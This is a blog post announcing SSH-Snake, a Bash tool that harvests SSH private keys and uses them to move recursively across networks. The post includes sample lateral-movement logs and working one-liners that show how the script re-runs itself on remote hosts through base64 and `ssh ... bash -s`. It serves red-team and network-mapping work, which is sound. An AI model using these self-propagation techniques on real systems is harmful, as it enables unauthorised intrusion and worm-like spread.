<!doctype html>
<html>
  <head>
  <title>
    
      SSH-Snake: Automatic traversal of networks using SSH private keys | Joshua.Hu | Joshua Rogers' Scribbles
    
  </title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <meta charset="utf-8">
  <link rel="stylesheet" href="https://joshua.hu/assets/css/main.css">
  <link rel="stylesheet" href="https://joshua.hu/assets/css/syntax.css">
  <!-- Use Atom -->
  <link type="application/atom+xml" rel="alternate" href="https://joshua.hu/feed.xml" title="Joshua.Hu | Joshua Rogers' Scribbles" />
  <!-- Use RSS-2.0 -->
  <!--<link href="https://joshua.hu/rss-feed.xml" type="application/rss+xml" rel="alternate" title="Joshua.Hu | Joshua Rogers' Scribbles | "/>
  //-->
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=PT+Serif:400,400italic,700%7CPT+Sans:400">
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Source+Code+Pro">
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Quattrocento+Sans">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
  <script type="text/javascript" async
    src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-MML-AM_CHTML">
    MathJax.Hub.Config({
        tex2jax: {
          inlineMath: [['$', '$'], ['\\(', '\\)']]
        }
      });
  </script>
  <!-- Google Analytics -->
  <!-- <script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
  ga('create', '', 'auto');
  ga('send', 'pageview');
</script>
 -->
  <!-- Use Jekyll SEO plugin -->
  <!-- Begin Jekyll SEO tag v2.8.0 -->
<title>SSH-Snake: Automatic traversal of networks using SSH private keys | Joshua.Hu Joshua Rogers’ Scribbles</title>
<meta name="generator" content="Jekyll v3.9.5" />
<meta property="og:title" content="SSH-Snake: Automatic traversal of networks using SSH private keys" />
<meta name="author" content="Joshua Rogers" />
<meta property="og:locale" content="en_US" />
<link rel="canonical" href="https://joshua.hu/ssh-snake-ssh-network-traversal-discover-ssh-private-keys-network-graph" />
<meta property="og:url" content="https://joshua.hu/ssh-snake-ssh-network-traversal-discover-ssh-private-keys-network-graph" />
<meta property="og:site_name" content="Joshua.Hu Joshua Rogers’ Scribbles" />
<meta property="og:type" content="article" />
<meta property="article:published_time" content="2024-01-04T00:00:00+00:00" />
<meta name="twitter:card" content="summary" />
<meta property="twitter:title" content="SSH-Snake: Automatic traversal of networks using SSH private keys" />
<script type="application/ld+json">
{"@context":"https://schema.org","@type":"BlogPosting","author":{"@type":"Person","name":"Joshua Rogers"},"dateModified":"2024-01-04T00:00:00+00:00","datePublished":"2024-01-04T00:00:00+00:00","headline":"SSH-Snake: Automatic traversal of networks using SSH private keys","mainEntityOfPage":{"@type":"WebPage","@id":"https://joshua.hu/ssh-snake-ssh-network-traversal-discover-ssh-private-keys-network-graph"},"url":"https://joshua.hu/ssh-snake-ssh-network-traversal-discover-ssh-private-keys-network-graph"}</script>
<!-- End Jekyll SEO tag -->

</head>

  <body>
    <div class="container">
      <header class="header">
  <h3 class="header-title">
    <a href="https://joshua.hu/">Joshua.Hu | Joshua Rogers' Scribbles</a>
    <small class="header-subtitle"></small>
    <div class="menu">
  <nav class="menu-content">
    
      <a href="https://joshua.hu/about.html">About Me</a>
    
      <a href="https://joshua.hu/projects.html">Projects</a>
    
      <a href="https://joshua.hu/recommendations_wroclaw.html">Wrocław Recommendations</a>
    
      <a href="https://joshua.hu/contact.html">Contact</a>
    
  </nav>
  <nav class="social-icons">
    
  
  
    <a href="https://github.com/MegaManSec" target="_blank"><i class="fa fa-github" aria-hidden="true"></i></a>
  

  
  
    <a href="https://twitter.com/MegaManSec" target="_blank"><i class="fa fa-twitter" aria-hidden="true"></i></a>
  

  
  
    <a href="https://www.linkedin.com/in/joshua-alexander-rogers/" target="_blank"><i class="fa fa-linkedin" aria-hidden="true"></i></a>
  

  
  
    <a href="/feed.xml"><i class="fa fa-rss-square" aria-hidden="true"></i></a>
  

  </nav>
</div>

  </h3>
</header>

      <div class="content-container">
        <h1>
  SSH-Snake: Automatic traversal of networks using SSH private keys
</h1>

<article>
  <hr />

<p>Today I am officially releasing a tool that I’m proud to have finally finished: <a href="https://github.com/MegaManSec/SSH-Snake">SSH-Snake</a>.</p>

<p>To put it simply, SSH-Snake performs three basic tasks:</p>

<ol>
  <li>On the current system, find any SSH private keys,</li>
  <li>On the current system, find any hosts or destinations (<code class="language-plaintext highlighter-rouge">user@host</code>) that the private keys may be accepted on,</li>
  <li>Attempt to SSH into all of the discovered destinations using all of the private keys discovered.</li>
</ol>

<p>The interesting thing about SSH-Snake, however, is that it can perform all of these tasks recursively: once it connects to a new destination, it starts tasks #1-#3 again. It continues this into perpetuity; or until no new keys/destinations are found. It’s completely self-replicating and self-propagating – and completely fileless.</p>

<p>I hope this tool will be at least as useful for others, as it has been for me.</p>

<hr />

<p>The original goal of this project was quite simple: I wanted to create visual representations of systems that I was hacking using compromised SSH private keys. I was jumping between servers with SSH keys like it was a Super Mario game, and I wanted to automate the process of searching for new keys on each server and trying those keys to connect to new systems.</p>

<hr />

<p><img src="/files/Snakes.png" alt="Dall E: _&quot;Snakes connecting multiple servers together as if they were highly connected.&quot;_" /></p>

<p><em>“Snakes connecting multiple servers together as if they were highly connected”</em></p>

<hr />

<p><img src="/files/Mario.png" alt="Dall E: _&quot;Retro Super Mario jumping over computer server racks.&quot;_" /></p>

<p><em>“Retro Super Mario jumping over computer server racks.”</em></p>

<hr />

<p>I thought about using cosmopolitan libc to build some type of binary which would run anywhere, but I wanted to create something that was minimalist (ironic, considering the script now contains over 1,250 lines of code sans comments), would run anywhere, and would be executed filelessly. Using something like <a href="http://phrack.org/issues/62/8.html">remote exec</a> could have solved the latter issue, but why complicate it when we can just use what a human would use? And to be frank, I like challenges: creating a worm in Bash is certainly a challenge. Why not POSIX? Well, I like <em>challenges</em>; I’m not a masochist.</p>

<hr />

<p>As stated, the original output that I was interested in was visualizations. <a href="https://lwn.net/Articles/625988/">Just under 10 years ago</a>, I was working with the well-known open source graph visualization tool <a href="https://graphviz.org/">graphviz</a> (<em>mostly experimenting with afl-fuzz which had just been released</em>), and I have seen how BloodHound is able to visualize trust relationships between endpoints in MS Active Directory networks, so I knew it wouldn’t be too difficult to create something: all I needed to do was to actually build the script.</p>

<hr />

<p>In terms of those visualizations, the result is quite pretty (I recommend opening the images in new tabs):</p>

<p><img src="https://raw.githubusercontent.com/MegaManSec/SSH-Snake/main/tools/SSH-Snake-dot-circo.png" alt="A graph visualizing the relation between systems using SSH" /></p>

<p>The blue nodes indicate the <em>destination</em> can connect to itself (user@host&lt;–&gt;user@host). The red edges indicate that the connection is bi-directional (user1@host1&lt;–&gt;user2@host2).</p>

<hr />

<p><img src="https://github.com/MegaManSec/SSH-Snake/raw/main/tools/SSH-Snake-Gephi.svg" alt="A graph visualizing the relation between systems using SSH" /></p>

<p>The green nodes indicate a <em>host</em> (without a username) that can connect to itself (host1&lt;–&gt;host1). The green edges indicate that the connection is bi-directional (host1&lt;–&gt;host2). The gray host in the top right corner is the host that the script was initially executed on.</p>

<hr />

<p><img src="https://github.com/MegaManSec/SSH-Snake/raw/main/tools/SSH-Snake-CytoScape.svg" alt="A graph visualizing the relation between systems using SSH" /></p>

<p>The blue nodes indicate the <em>destination</em> can connect to itself (user@host&lt;–&gt;user@host). The red edges indicate that the connection is bi-directional (user1@host1&lt;–&gt;user2@host2).</p>

<hr />

<p>All three of these images represent a cluster of servers that are intrinsically linked with SSH. The first image was generated using graphviz, while the second one was built using <a href="https://gephi.org/">Gephi</a>. As it turns out, graphviz can’t handle extremely large networks (which none of the above three images represent) and will simply crash with either out-of-memory or some other type of issue; that’s where Gephi comes. The third image was generated using <a href="https://Cytoscape.org/">Cytoscape</a>’s yFiles Hierarchical Layout generation, and is also suited for very large networks. Cytoscape can also create cool web-based graphs <a href="https://megamansec.github.io/SSH-Snake/">like this one</a> (try changing <code class="language-plaintext highlighter-rouge">layout</code>).</p>

<p>In a future blog post, I will outline the process of creating graphs using these three software.</p>

<hr />

<p>The output of the script looks something like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>1704020277]jrogers@<span class="o">(</span>10.128.0.25<span class="o">)</span>
<span class="o">[</span>1704020279] jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.25<span class="o">)</span>
<span class="o">[</span>1704020279] jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)</span>
<span class="o">[</span>1704020281]  jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)</span>
<span class="o">[</span>1704020282]   jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.25<span class="o">)</span>
<span class="o">[</span>1704020284]   jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)</span>
<span class="o">[</span>1704020286]    jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)</span>
<span class="o">[</span>1704020286]    jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)</span>
<span class="o">[</span>1704020288]     jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.25<span class="o">)</span>
<span class="o">[</span>1704020288]     jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)</span>
<span class="o">[</span>1704020289]     jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.26<span class="o">)</span>
<span class="o">[</span>1704020290]     jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)</span>
<span class="o">[</span>1704020291]     jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)</span>
<span class="o">[</span>1704020291]     jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)</span>
<span class="o">[</span>1704020291]     jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)</span>
<span class="o">[</span>1704020292]   jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.26<span class="o">)</span>
<span class="o">[</span>1704020292]   jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)</span>
<span class="o">[</span>1704020293]   jrogers@<span class="o">(</span>10.128.0.25<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;jrogers@<span class="o">(</span>10.128.0.27<span class="o">)[!</span>/home/jrogers/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.29<span class="o">)[!</span>/root/.ssh/id_rsa]-&gt;root@<span class="o">(</span>10.128.0.28<span class="o">)</span>
....
</code></pre></div></div>

<p>The IP address is enclosed in brackets in this output because it represents all of the IPv4 addresses on the system. <code class="language-plaintext highlighter-rouge">jrogers@(10.128.0.25:10.128.0.24)</code> would indicate the system has two IPv4 addresses.</p>

<p>The output of the script is actually more verbose and includes other information such as the private keys discovered. A full description can be found <a href="https://github.com/MegaManSec/SSH-Snake/blob/main/OUTPUT.md">in the GitHub repository</a>.</p>

<hr />

<p>Documentation and more information about running the script is available on GitHub: <a href="https://github.com/MegaManSec/SSH-Snake">https://github.com/MegaManSec/SSH-Snake</a>. There are various documents introducing you to how the script can be run and the various features, settings, tools, and outputs, that it provides.</p>

<p>The script is essentially plug-and-plug: you can disable and enable different parts of it and the different strategies used to discover private keys and destinations those private keys may be used to connect to.</p>

<p>The rest of this blog pertains to the technical details of how SSH-Snake works. It’s more a collection of random information about how the script works rather than a well-formulated technical document. In fact, it may even be unintelligible (excuse the complete lack of editing, I’ll fix it up eventually)! Enjoy!</p>

<hr />

<p>The basis for how the SSH-Snake script replicates itself from server-to-server without uploading any files is the observation that a bash script can be passed to itself via stdin and positional parameters/arguments. Consider the following one-liner:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'echo "$2"; echo "$1" | bash -s "$1" $(($2+1))'</span> | bash <span class="nt">-s</span> <span class="s1">'echo "$2"; echo "$1" | bash -s "$1" $(($2+1))'</span> <span class="k">$((</span><span class="nv">$2</span><span class="o">+</span><span class="m">1</span><span class="k">))</span>
1
2
3
4
5
6
....
</code></pre></div></div>

<p>and the process tree (<code class="language-plaintext highlighter-rouge">ps f</code> for forest view):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2304406 pts/0    Ss     0:00 <span class="nt">-bash</span>
2306574 pts/0    S+     0:00  <span class="se">\_</span> bash <span class="nt">-s</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span><span class="p">;</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="k">$((</span><span class="nv">$2</span><span class="o">+</span><span class="m">1</span><span class="k">))</span> 1
2306576 pts/0    S+     0:00      <span class="se">\_</span> bash <span class="nt">-s</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span><span class="p">;</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="k">$((</span><span class="nv">$2</span><span class="o">+</span><span class="m">1</span><span class="k">))</span> 2
2306578 pts/0    S+     0:00          <span class="se">\_</span> bash <span class="nt">-s</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span><span class="p">;</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="k">$((</span><span class="nv">$2</span><span class="o">+</span><span class="m">1</span><span class="k">))</span> 3
2306580 pts/0    S+     0:00              <span class="se">\_</span> bash <span class="nt">-s</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span><span class="p">;</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="k">$((</span><span class="nv">$2</span><span class="o">+</span><span class="m">1</span><span class="k">))</span> 4
2306582 pts/0    S+     0:00                  <span class="se">\_</span> bash <span class="nt">-s</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span><span class="p">;</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="k">$((</span><span class="nv">$2</span><span class="o">+</span><span class="m">1</span><span class="k">))</span> 5
....
</code></pre></div></div>

<p>As we can see, the one-liner is being executed over and over, each in another sub-process, with only the final number being evaluated (i.e. <code class="language-plaintext highlighter-rouge">$2+1</code>).</p>

<p>It’s also important to know that Bash’s <code class="language-plaintext highlighter-rouge">-s</code> flag is used to specify positional arguments. Take for example:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'echo $1 $2 $3'</span> | bash <span class="nt">-s</span> a b c
a b c
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">a</code> is the first positional argument (<code class="language-plaintext highlighter-rouge">$1</code>), and so on.</p>

<p>Alright, maybe it’s not fair to share the one-liner like that. Let’s make it more readable. If we create a file containing:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span> <span class="k">$((</span><span class="nv">$2</span><span class="o">+</span><span class="m">1</span><span class="k">))</span>
</code></pre></div></div>

<p>and execute it as such:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>bash base.sh <span class="s2">"</span><span class="si">$(</span>&lt;base.sh<span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p>then it makes a little bit more sense. When the <code class="language-plaintext highlighter-rouge">base.sh</code> file is executed by the user, the first positional argument (<code class="language-plaintext highlighter-rouge">$1</code>) is set to the contents of the bash file itself. <code class="language-plaintext highlighter-rouge">$2=0</code>. Therefore, the following is executed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">""</span>
<span class="nb">echo</span> <span class="s2">"THIS_SCRIPT"</span> | bash <span class="nt">-s</span> <span class="s2">"THIS_SCRIPT"</span> <span class="k">$((</span><span class="m">0</span><span class="o">+</span><span class="m">1</span><span class="k">))</span>
</code></pre></div></div>

<p>where <code class="language-plaintext highlighter-rouge">THIS_SCRIPT</code> is the contents of the file. The first line executes and prints an empty line. The second line effectively then executes:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">THIS_SCRIPT</span><span class="o">=</span><span class="s1">'echo "$2";echo "$1" | bash -s "$1" $(($2+1))'</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> 1
</code></pre></div></div>

<p>Knowing what we know about bash’s -s flag, this effectively means the following is being executed:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">THIS_SCRIPT</span><span class="o">=</span><span class="s1">'echo "$2";echo "$1" | bash -s "$1" $(($2+1))'</span>

<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> <span class="k">$((</span><span class="m">1</span><span class="o">+</span><span class="m">1</span><span class="k">))</span>
</code></pre></div></div>

<p>which prints <code class="language-plaintext highlighter-rouge">1</code> (since <code class="language-plaintext highlighter-rouge">$2</code> is 1). <code class="language-plaintext highlighter-rouge">$1</code> is replaced with <code class="language-plaintext highlighter-rouge">$THIS_SCRIPT</code> since it’s being passed via the positional argument.</p>

<p>When this executes, it’ll effectively then execute:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">THIS_SCRIPT</span><span class="o">=</span><span class="s1">'echo "$2";echo "$1" | bash -s "$1" $(($2+1))'</span> <span class="nb">echo</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> | bash <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$THIS_SCRIPT</span><span class="s2">"</span> 2
</code></pre></div></div>

<p>This just keeps going on and on, until infinite (or until bash borks). The only change in each execution is the second positional argument: it is incremented by one every execution.</p>

<hr />

<p>The previous section was a bit long-winded, I know. At least for me, it was difficult to grok how this actually worked. But what does it have to do with SSH and SSH-Snake? Well, it works via SSH, too:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'echo 1: $1, 2: $2'</span> | ssh user@host bash <span class="nt">-s</span> a b
1: a, 2: b
</code></pre></div></div>

<p>This means we can also execute a script via bash using ssh which effectively replicates itself on the external server. Take for example the following file:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$SSH_CONNECTION</span><span class="s2">"</span>
ssh root@localhost <span class="s2">"echo '</span><span class="nv">$1</span><span class="s2">' | base64 -d | bash -s -- '</span><span class="nv">$1</span><span class="s2">'"</span>
</code></pre></div></div>

<p>If we execute this file as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>bash t.sh <span class="s2">"</span><span class="si">$(</span><span class="nb">base64</span> <span class="nt">-w0</span> &lt; <span class="s2">"t.sh"</span><span class="si">)</span><span class="s2">"</span>

127.0.0.1 46384 127.0.0.1 22
127.0.0.1 46394 127.0.0.1 22
127.0.0.1 46398 127.0.0.1 22
127.0.0.1 46404 127.0.0.1 22
127.0.0.1 46420 127.0.0.1 22
127.0.0.1 46428 127.0.0.1 22
127.0.0.1 47444 127.0.0.1 22
127.0.0.1 47446 127.0.0.1 22
127.0.0.1 47448 127.0.0.1 22
...
</code></pre></div></div>

<p>we see that each line indicates a new SSH connection. root@localhost is connecting to root@localhost which is connecting to root@localhost which is …. you get the picture.</p>

<p>We use base64 to ensure the string is one line and doesn’t contain any strange characters.</p>

<p>Effectively, the script executes:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh root@localhost <span class="s2">"echo 'loooong_string' | base64 -d | bash -s -- 'loooong_string'"</span>
</code></pre></div></div>

<p>meaning that <code class="language-plaintext highlighter-rouge">root@localhost</code> will execute</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'loooong_string'</span> | <span class="nb">base64</span> <span class="nt">-d</span> | bash <span class="nt">-s</span> <span class="nt">--</span> <span class="s1">'loooong_string'</span>
</code></pre></div></div>

<p>where each <code class="language-plaintext highlighter-rouge">loooong_string</code> is the base64 encoded string of… <code class="language-plaintext highlighter-rouge">ssh root@localhost "echo '$1' | base64 -d | bash -s -- '$1'"</code>!</p>

<hr />

<p>Originally, that is how SSH-Snake worked. Then eventually I realized that there was no need to pass <code class="language-plaintext highlighter-rouge">loooong_string</code> twice. We can double-up on bash, but save a lot of space from having to pass the base64-encoded script twice:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$SSH_CONNECTION</span><span class="s2">"</span>
ssh root@localhost <span class="s2">"echo 'echo </span><span class="se">\$</span><span class="s2">1 | base64 -d | bash -s </span><span class="se">\$</span><span class="s2">1' | bash -s </span><span class="nv">$1</span><span class="s2">"</span>
</code></pre></div></div>

<p>In this version, <code class="language-plaintext highlighter-rouge">root@localhost</code> will be passed the following:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'echo $1 | base64 -d | bash -s $1'</span> | bash <span class="nt">-s</span> loooong_string
</code></pre></div></div>

<p>which means the following will be executed by on <code class="language-plaintext highlighter-rouge">root@localhost</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo </span>loooong_string | <span class="nb">base64</span> <span class="nt">-d</span> | bash <span class="nt">-s</span> loooong_string
</code></pre></div></div>

<p>but with passing <code class="language-plaintext highlighter-rouge">loooong_string</code> only once.</p>

<p>This puts us back at the beginning! The decoded script is going to be executed (from <code class="language-plaintext highlighter-rouge">echo loooong_string | base64 -d | bash</code>) because the first positional argument is going to be encoded <code class="language-plaintext highlighter-rouge">loooong_string</code>.</p>

<p>I’m starting to feel proof by induction vibes from university.</p>

<hr />

<p>With the basis of the fileless replication of the script via ssh, we can look at <em>what</em> is actually passed using those variables. Various versions and revisions has resulted in the following:</p>

